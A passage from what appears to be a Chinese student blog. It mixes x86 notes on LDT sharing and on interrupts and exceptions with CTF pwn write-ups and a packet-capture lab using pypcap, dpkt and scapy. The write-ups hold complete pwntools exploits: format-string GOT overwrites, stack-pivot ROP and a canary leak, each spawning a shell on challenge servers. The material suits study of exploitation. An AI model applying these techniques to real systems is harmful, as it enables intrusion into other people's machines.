  3. 通过映射到线性地址空间中相同地址的不同LDT的段描述符实现数据段的共享:如果线性地址空间的某个共享区域被映射到每个任务的物理地址空间的相同区域,那么这些段描述符可以使任务共享段。这些段描述符通常被称为别名。通过这种方式的共享更加有选择性,因为LDT中的其他段描述符可能指向独立的线性地址,不共享。

漏洞点

漏洞点很多:

格式化字符串漏洞

后门

泄露libc函数等

不过值得一提的是 栈溢出是假的(那个函数返回地址由堆的一个东西管理

思路

设定了函数call前RSP为0结尾,直接挟持got表改写后门函数会出现不对其错误

所以我们可以挟持两个函数,分两个函数来打,可以优秀地控制栈帧

这里挟持了一个冷门函数calloc的got表为backdoor的地址

再挟持printf为call calloc的地址即可

栈上的格式化字符串的打法比较简单,这里就不多说了

用好fmtstr_payload可以事半功倍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
from pwncli import gift
import ctypes
context.terminal = ["tmux","splitw","-h"]

context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = ""
remote_ip = ""
remote_port = ""

# libc = ELF(libc_name)

mode = 0

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename)

def bpp():
gdb.attach(p)
pause()

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

def leak():
leak_dat = ru("\x7f")[-6:]
return u64(leak_dat.ljust(8, b'\x00'))

prefix = "choose:"

def Repeater(payload):
sla(prefix, str(4294967293))
sa("You find a Repeater!", payload + b'\x00')

def chance(payload):
sla(prefix, str(1))
s(payload)

def gift():
sla(prefix, str(10086))
ru("Everyone is tired and reduces the workload!")

gift()
rl()
puts_got = int(rl().decode()[:-1], 16)
log(hex(puts_got))

offset = 6
ret_addr = 0x401522
backdoor = 0x401514

elf = ELF("./pwn")

pad = fmtstr_payload(offset, {elf.got['calloc']: backdoor})

Repeater(pad)

pad = fmtstr_payload(offset, {elf.got['printf']: 0x40153D})

bpp()
Repeater(pad)
# bpp()

# rl()
# raw = rl()
# log(raw)

ia()

move

栈迁移

1
2
3
4
payload = flat([
pop_rsi_r15, 0x405300, 0, elf.plt['read'], # target
pop_rsi_r15, 0x4050c0+0x40, 0, elf.plt['read'] # fix
])

用这个结构写一大段连续的内存即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
from pwn import *
from pwncli import gift
import ctypes
context.terminal = ["tmux","splitw","-h"]

context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = "./libc6_2.27-3ubuntu1.6_amd64.so"
remote_ip = "59.110.125.41"
remote_port = "34381"

libc = ELF(libc_name)

mode = 1

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename)

def bpp():
gdb.attach(p)
pause()

def leak():
leak_dat = ru("\x7f")[-6:]
return u64(leak_dat.ljust(8, b'\x00'))

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

bss_addr = 0x4050A0
ans = 0x12345678
leave = 0x4012E0

pop_rdi = 0x0000000000401353
pop_rsi_r15 = 0x0000000000401351
pop_rbp = 0x000000000040119d

elf = ELF("./pwn")

write = elf.plt['write']
payload = flat([
pop_rsi_r15,
bss_addr-0x8, 0, # read1 bss_addr - 0x8
elf.plt['read']
])

sa("lets travel again!", payload)

# bpp()
sa("Input your setp number", p32(ans))

payload = b'a'*(0x30)
payload += p64(bss_addr-0x8)
payload += p64(leave)

sa("TaiCooLa", payload)

read_again = 0x401230

payload = flat([
0, pop_rsi_r15, bss_addr-0x8+0x28, 0,
elf.plt['read'],
pop_rbp, bss_addr-0x8,
leave
])

# bpp()
s(payload)

main_addr = 0x4010D0

payload = flat([
pop_rsi_r15, 0x405300, 0, elf.plt['read'], # target
pop_rsi_r15, 0x4050c0+0x40, 0, elf.plt['read'] # fix
])

s(payload)

# target payload
payload = flat([
pop_rdi, 1,
pop_rsi_r15, elf.got['write'], 0,
elf.plt['write'], pop_rbp, 0x405300+0x40+0x8
])
s(payload)

# fix payload
payload = flat([
pop_rsi_r15, 0x405300+0x40, 0, elf.plt['read'], # target
pop_rbp, 0x405300-0x8, leave, 0
])

s(payload)

# target payload + 0x40
payload = flat([
pop_rsi_r15, 0x405300+0x40+0x30, 0, pop_rdi,
0, elf.plt['read'], 0, 0 # +0x60
])

# bpp()
s(payload)

leak_libc = leak()
log(hex(leak_libc))

libc_base = leak_libc - libc.sym['write']
log(hex(libc_base))

bin_addr = libc_base + 0x00000000001b3d88
system = libc_base + libc.sym['system']

# bpp()
pad = flat([
pop_rdi, bin_addr,
system, 0,
0, 0, 0, 0
])
sl(pad)

ia()

pwthon

比赛时没做出来 后面复盘出来的了解了不同的库之间的调用关系还得是调试了之后就知道怎么做了(当时一直在找magic gadget 找不到233)

调试方法

main.py里面加上sys.path.append来帮助python导入app这个库

1
2
sys.path.append("/home/hkbin/Desktop/CTF/competition/xiangshan/pwthon/app.cpython-37m-x86_64-linux-gnu.so")
import app

之后即可正常运行python main.py

调试可以通过gdb attach上去

pwntools里面这样调

1
p = process(['python', 'main.py'])

栈上有关IO的函数都与libc有关(也就是glibc那个

app.so只提供题目需要的函数

库与库之间的偏移是不定的,需要leak出libc的地址

而栈上可以泄露出libc的函数 比如open64等

还有read函数可以泄露出libc的版本(貌似就是ubuntu22.04

然后剩下的就是leak canary然后打libc的ROP了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
import ctypes
context.terminal = ["tmux","splitw","-h"]

# context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
remote_ip = "59.110.231.185"
remote_port = "33518"

p = process(['python', 'main.py'])
libc = ELF(libc_name)

mode = 0

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

def bpp():
gdb.attach(p)
pause()

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

def leak():
leak_dat = ru("\x7f")[-6:]
return u64(leak_dat.ljust(8, b'\x00'))

sla(">", str(0))
ru("Give you a gift ")
gift = int(rl()[:-1], 16)
log(hex(gift))

log(hex(gift-0x68b0))
app_base = gift-0x68b0

canary_offset = 13
payload = b'%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
sl(payload)

datas = rl().decode().split("-")
log("canary: ")
log(datas[13])
log("open leak: ")
log(datas[-1])

canary = int(datas[13], 16)
leak_libc = int(datas[-1], 16)

libc_base = leak_libc - 232 - libc.sym['open']
log(hex(libc_base))

bin_addr = libc_base + 0x00000000001d8698
system = libc_base + libc.sym['system']
pop_rdi = app_base + 0x0000000000003f8f
ret_addr = app_base + 0x000000000000301a

payload = flat([
b'a'*0x108,
canary, 0,
pop_rdi, bin_addr,
ret_addr,
system
])
bpp()
s(payload)

ia()

os读书笔记3

中断和异常处理

中断和异常处理概述

什么是中断和异常?

中断和异常是强制性的执行流转移。效果是从当前正在执行的程序和任务转移到一个特殊的句柄的例程或任务。

中断产生于硬件发出信号,中断的产生是随机的,对正在执行的程序来说是异步的。

软件对于外部设备的请求,比如IO读入、调用别的硬件设备的情况下可以产生中断,使用的是INT n指令。

异常是在处理器执行指令的过程中发现错误而产生的,比如除零异常等。

处理器可以检测出多种不同的错误,包括保护异常,页错误,内部机器错误。

处理器如何处理?

处理器收到中断信号或检测到异常时,便会挂起当前正在运行的进程或任务,前去执行中断或异常处理程序,中断或异常处理程序执行完之后,处理器一般会继续执行被终端的进程或者任务,有两种情况例外:无法从发生的异常中恢复、中断使当前的程序终止。

实模式和保护模式下,中断向量表一样吗?

在实模式和保护模式下,中断向量表是不一样的。在实模式下,中断向量表是一个固定的地址,称为中断向量表基址,其中包含了一系列的中断向量,每个向量对应着一个特定的中断号。而在保护模式下,中断向量表被称为中断描述符表,它保存了每个中断的处理程序地址和相关的属性信息。

有关中断和异常了解性的内容

异常和中断向量

异常和中断向量存储着每种异常、中断对应的处理程序的入口地址。

异常向量和中断向量的作用是将发生的异常和中断与相应的处理程序关联起来,使处理器能够根据异常或中断类型找到对应的处理程序并进行处理。这样可以保证系统能够有效地响应和处理异常和中断事件。

向量号0到31分配给异常和NMI中断使用,但是未完全使用,部分未使用的作为保留留给未来使用。

32到255之间的向量号留给用户使用。

这些中断不在 Intel 的保留部分之列,一般被分配给外部 I/O 设备,允许它们通过某个外部硬件中断机制向处理器传递信号。

中断源和异常源

中断源

中断有两个来源,一个是硬件中断(外部中断),另一个是软件中断。

硬件中断是通过处理器的引脚接收的。任何通过 INTR 引脚或局部 APIC 传递到处理器的外部中断都被称作可屏蔽硬件中断。通过INTR 引脚传递的可屏蔽硬件中断可使用所有 Intel 架构定义的中断向量(0~255);而通过局部 APIC 传递的部分只能使用 16~255 号向量。使用 EFLAGS 寄存器的 IF 位就可以屏蔽全部可屏蔽硬件中断。当 0 号中断到 15 号中断通过局部 APIC 传递时,APIC 会指出错误的向量号。

软件中断

将中断向量号作为 INT 指令的操作数即可通过 INT 指令在程序中产生中断。比如,指令 INT 35 即可调用第 35 号中断处理例程。
0 到 255 号中断均可使用 INT 指令调用。但是,当处理器预先定义好的 NMI 中断被这样调用时,处理器作出的响应与真正 NMI 中断发生时的响应并不一样。也就是说,执行 INT 2(NMI的向量号)时,NMI 处理例程被调用,但是处理器的 NMI 硬件处理并未被激活。
EFLAGS 的 IF 位并不能屏蔽由 INT 指令产生的中断。

异常源

异常信号有三个来源,一个是处理器检测到的程序错误异常,一个是软件产生的异常,另外一个是机器检测异常。

  • 程序错误异常:当检测到程序错误异常时,处理器产生一个或多个异常。Intel 为每个处理器可检测到的异常定义了一个向量号。异常又进一步被划分为错误,陷阱和终止。

  • 软件产生的异常:INTO,INT 3和BOUND指令允许在软件中产生异常。这些指令允许在指令流中检测指定的异常条件。

  • 机器检测异常:P6 系列和 Pentium 处理器同时提供了内部和外部的机器检测机制,用来检查内部芯片部件的操作和总线传输。这些机制组成了扩展异常机制(并不能独立完成)。当检测到一个机器检测错误时,处理器发出一个机器检测异常(18 号向量),并返回一个出错码。

异常的分类:故障、陷阱和中止

故障是一种通常能被修正的异常,修正过后,程序能够不失连续性地继续运行。当报告错误发生时,处理器将机器状态恢复到执行错误之前的状态。

错误处理程序的返回地址和EIP指向产出错误的指令。

只有少数几个异常被报告为错误,它们是不可恢复的,且处理器的上下文中的内容也会有部分丢失。

一个例子:当执行 POPAD
指令是堆栈越过了堆栈段的尾部。异常处理例程会看到 CS:EIP 恢复原样,就好象 POPAD从未执行,但处理器状态却被改变了(通用寄存器)。

这种情况被视为程序错误,若应用程序产生这样的错误则会被操作系统终止。

陷阱是一种异常,当引起陷阱的指令发生时,马上产生该异常。陷阱不影响程序的连续性,陷阱处理程序的返回地址指向引起陷阱指令的下一条指令。

中止是另一种异常,它并不总是报告产生异常指令的确切位置,也不允许引起终止的进程或任务重新执行。中止被用于报告严重错误,比如硬件错误,不一致或非法系统值。

程序或任务的重新执行

对于故障类异常,返回地址指向产生错误的指令。所以当错误处理程序返回时,产生错误的指令将会重新执行。常见的错误就是缺页错误,错误处理程序会调用mmap一段内存再返回,这个时候再执行一次产生错误的指令,使程序不失去连续性。

对于陷阱类异常,返回地址指向产生陷阱指令的下一条指令。当一条转移指令执行过程中检测到陷阱时,返回地址指针则反映了执行转向的情况。比如当执行JMP指令时,检测到有陷阱异常,返回地址指针指向的是JMP的目的地址,而不是JMP指令后的下一条指令。所有的陷阱异常保证进程或任务的继续执行不失连续性。

中止类异常不支持程序或任务继续执行。终止处理例程的作用是:当有终止异常发生时,收集处理器的各种相关诊断信息,并关闭进程或系统。

开启和禁止中断

根据处理器的状态和 EFLAGS 的 IF 位和 RF 位,处理器可以禁止某些中断的产生。

任何通过 INTR 引脚或局部 APIC 传递到处理器的外部中断都被称作可屏蔽硬件中断。通过INTR 引脚传递的可屏蔽硬件中断可使用所有 Intel 架构定义的中断向量(0~255);而通过局部 APIC 传递的部分只能使用 16~255 号向量。

使用 EFLAGS 寄存器的 IF 位就可以屏蔽全部可屏蔽硬件中断。当 0 号中断到 15 号中断通过局部 APIC 传递时,APIC 会指出错误的向量号

异常和中断的优先级

指令边界有多个异常或中断发生,处理器将以预定的顺序来为它们提供服务。

各类异常和中断源的优先关系如图所示:

Untitled

中断描述符表

中断描述符表(IDT)为每一个异常或中断向量对应的例程或任务分配了一个门描述符。和GDT和LDT一样,IDT也是由一系列由 8 个字节组成的描述符组成的(保护模式下)。和 GDT 不同的是,IDT 中的第一个元不是 NULL 描述符。异常或中断向量号乘上 8 即可得到IDT 中的描述符的索引(即门描述符包含的字节数)由于只有 256 个中断或异常向量,所以 IDT 不必包含多于 256 个描述符。并且可以包含不足 256 个的描述符,因为只有那些确实发生的异常或中断才需要一个描述符。所有 IDT 中的空描述符须将存在位置位 0。

如何构成?

和GDT表类似,构成由:

  1. 段选择子:IDT 中的每个条目都由一个段选择子组成,用于标识处理程序所在的代码段或数据段。

  2. 偏移量:每个中断或异常都有一个关联的处理程序,偏移量用于指示处理程序在代码段中的起始位置。

  3. 标志位:IDT 中的每个条目还包含一些标志位,用于定义中断或异常的类型、访问权限等。

IDT 的结构是一个数组,每个数组元素代表一个中断向量,从 0 到 255。

如何获得中断处理程序的地址?

在操作系统初始化过程中,会将中断处理程序的地址注册到中断向量表中的相应条目中。

当中断发生时,CPU根据中断号从中断向量表中找到对应的条目,并获取其中保存的中断处理程序的地址。CPU会跳转到这个地址,开始执行中断处理程序。

即通过访问中断向量表对应的条目来获得中断处理程序的地址。

如何设置中断描述符表寄存器?

构建好IDT表之后,在x86架构下,可以使用lidt汇编指令加载IDTR寄存器,IDTR寄存器是CPU的寄存器,用来存储IDT表的基地址和大小。

Untitled

IDT 描述符

IDT包含以下三种门描述符

  • 任务门描述符

  • 中断门描述符

  • 陷阱们描述符

Untitled

任务门格式和GDT/LDT中的任务门一样,包含异常或中断处理程序的TSS的段选择符

中断门和陷阱门和调用门类似,包含一个指针(段选择符和offset),处理器用来将执行流转移至异常或中断处理代码段中的处理程序。但是在处理EFLAGS的IF位的方式上有所不同。

中断与异常处理

中断过程调用的流程是怎样的?

当程序触发中断时,会通过IDTR查询IDT,获得中断处理程序的段选择子和偏移,再查询GDT或LDT获得段描述符,配合生成一个指向中断处理程序的地址,之后将EFLAGS寄存器、CS寄存器、EIP寄存器的当前值压栈保存,然后转到中断处理程序执行,执行完返回到程序中正常执行。

Untitled

不同优先级上,处理方式一样吗?

不一样。

相同优先级的情况下,不会发生堆栈切换。

而中断程序优先级高于原程序的情况下,会发生堆栈切换。

中断程序优先级低于原程序的情况下,则会发生报错。

如果发生堆栈切换,处理器会做哪些操作?

Untitled

指向返回后使用的栈指针也被压入栈中,也就是SS寄存器和ESP寄存器。处理器要用到的堆栈段选择符和栈指针则从当前进程的TSS中得到。

处理器将 EFLAGS,SS,ESP,CS,EIP,还有出错码从当前进程的堆栈拷贝到处理例程的堆栈。

在处理程序执行完毕返回的时候还需要还原堆栈。

如果没发生堆栈切换,处理器会做哪些操作?

没有发生对战切换,处理程序和原程序将会使用同一个堆栈。处理器会将Error Code,EIP,CS,EFLAGS压入栈中。

处理程序执行完毕返回的时候只需要还原EIP即可。

中断处理过程后,如何返回,处理器做了哪些操作?

处理器会将压入栈的内容弹出来,恢复寄存器。

弹出EFLAGS寄存器值即可恢复EFLAGS寄存器至执行中断处理程序前。

弹出CS、EIP等即可恢复。

如果在调用处理例程时堆栈发生了切换,则在返回时,IRET 指令还将切换回被中断进程的堆栈。

异常和中断处理过程的保护

如果异常和中断处理例程的特权级比 CPL 底,则处理器不允许这种调用发生。否则将产生通用保护异常(#GP)。

因为中断和异常向量没有 RPL,所以当发生中断和异常时,并不检查 RPL。

仅当中断或异常由 INT n, INT 3,或 INTO 指令产生时,处理器才检查中断或陷阱门的DPL。此时,CPL 必须小于或等于门的 DPL。这种限制防止了运行于 3 级的应用程序或进程使用软件中断来访问异常处理的关键代码,如页错误处理例程,因为这些例程位于更高一级的代码段中(数值上更小的特权级)。对于由硬件产生的中断和处理器检测到的异常,处理器则忽略掉中断或陷阱门中的 DPL。

异常和中断的发生通常是随机的,这些特权规则有效地为异常和中断处理例程能运行在哪些特权级加上了限制。

异常和中断处理过程的标志使用方式

访问异常或中断处理程序时,在将EFLAGS寄存器的内容保存进栈后,处理器会清EFLAGS寄存器的TF位。

当调用异常和中断处理例程时,处理器在将 EFLAGS寄存器的内容保存进栈后,还会清 VM,RF,和 NT 位。

清 TF 位则可以禁止指令跟踪,以使中断响应不受影响。后继的 IRET 指令则使用保存在栈中的 EFLAGS 寄存器中的值,恢复TF(和 VM,RF,及 NT)位。

中断门与陷阱门的唯一区别是什么?

在于处理器处理EFLAGS寄存器的IF位的方式。

当通过中断门访问异常或中断处理例程时,处理器清除 IF 位,阻止别的中断干扰当前的中断处理程序。后继的 IRET 指令用存储在栈中的 EFLAGS 的内容恢复 IF 的值。

而陷阱门调用处理程序时,IF 位不受影响。

信息内容安全实验-被动捕包

实验要求

能够捕抓到流量包,最终能解析到http请求包的头部以及响应包的返回内容即可,不需要gzip解压(如果有gzip压缩的话

实验分析

采用linux下Pypcap配合dpkt进行处理即可(后面还添加了scapy处理的部分

不过好像用scapy可以直接进行抓流量并且分析(更加方便

Pypcap

Pypcap在linux下基于libpcap。

首先我们要选好抓取的网卡接口

1
2
iface = 'ens33'
pkt = pcap.pcap(iface, promisc=True, immediate=True, timeout_ms=50)

写好这两句即可设定抓包的网卡接口

linux下和windows下这个接口是不一样的

1
2
3
4
5
6
7
8
import pcap

# 查找所有的网卡接口
interfaces = pcap.findalldevs()

# 打印所有网卡接口
for interface in interfaces:
print(interface)

这个方法可以打印所有网卡接口

windows下网卡接口是\devices\xxx这样的,这个时候可以配合wireshark

想要获取devices\xxx对应的网卡接口昵称,可以在wireshark-编辑-首选项-捕获-默认接口那里可以点开查看

Untitled

dpkt解析

解析方法如下,具体用法可以查看文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def anlysisData_requests(data):
# 解析以太网帧
eth = dpkt.ethernet.Ethernet(data)
# 解析ip数据包
if isinstance(eth.data, dpkt.ip.IP):
ip = eth.data
if isinstance(ip.data, dpkt.tcp.TCP):
"""tcp"""
tcp = ip.data
# 解析80端口流量
if tcp.dport == 80 or tcp.sport == 80:
try:
#解析到http
http = dpkt.http.Request(tcp.data)
log("http requests->")
print(http)
except (dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError):
pass

scapy解析

解析方法如下,个人认为比dpkt好用(debug的时候可以随时打印)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def anlysisData_response(data):
ether_pkt = Ether(data)
try:
ip_pkt = ether_pkt[IP]
tcp_pkt = ip_pkt[TCP]
if tcp_pkt.haslayer(Raw):
if ip_pkt.flags.DF == 1:
log("该报文没有分片")
else:
log("该报文分片了")
# log(tcp_pkt.flags)
raw_pkt = tcp_pkt[Raw]
load = raw_pkt.load
log("http response->")
print(load)
except:
pass

实验代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import pcap
import dpkt

import getopt
import sys
import datetime
import time
import os
import gzip
from dpkt.compat import BytesIO
from scapy.all import *

def captureData(iface):
pkt = pcap.pcap(iface, promisc=True, immediate=True, timeout_ms=50)
# filter method
filters = {
'DNS': 'udp port 53',
'HTTP': 'tcp port 80'
}
pkt.setfilter(filters['HTTP'])

pcap_filepath = 'pkts/pkts_{}.pcap'.format(time.strftime("%Y%m%d-%H%M%S",
time.localtime()))
pcap_file = open(pcap_filepath, 'wb')
writer = dpkt.pcap.Writer(pcap_file)
print('Start capture...')
try:
pkts_count = 0
for ptime, pdata in pkt:
writer.writepkt(pdata, ptime)
anlysisData_requests(pdata)
anlysisData_response(pdata)
pkts_count += 1
except KeyboardInterrupt as e:
writer.close()
pcap_file.close()
if not pkts_count:
os.remove(pcap_filepath)
print('%d packets received'%(pkts_count))

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

def anlysisData_requests(data):
# 解析以太网帧
eth = dpkt.ethernet.Ethernet(data)
# 解析ip数据包
if isinstance(eth.data, dpkt.ip.IP):
ip = eth.data
if isinstance(ip.data, dpkt.tcp.TCP):
"""tcp"""
tcp = ip.data
# 解析80端口流量
if tcp.dport == 80 or tcp.sport == 80:
try:
#解析到http
http = dpkt.http.Request(tcp.data)
log("http requests->")
print(http)
except (dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError):
pass


def anlysisData_response(data):
ether_pkt = Ether(data)
try:
ip_pkt = ether_pkt[IP]
tcp_pkt = ip_pkt[TCP]
if tcp_pkt.haslayer(Raw):
if ip_pkt.flags.DF == 1:
log("该报文没有分片")
else:
log("该报文分片了")
# log(tcp_pkt.flags)
raw_pkt = tcp_pkt[Raw]
load = raw_pkt.load
log("http response->")
print(load)
except:
pass

def main():
iface = 'ens33'
captureData(iface)

if __name__ == "__main__":
main()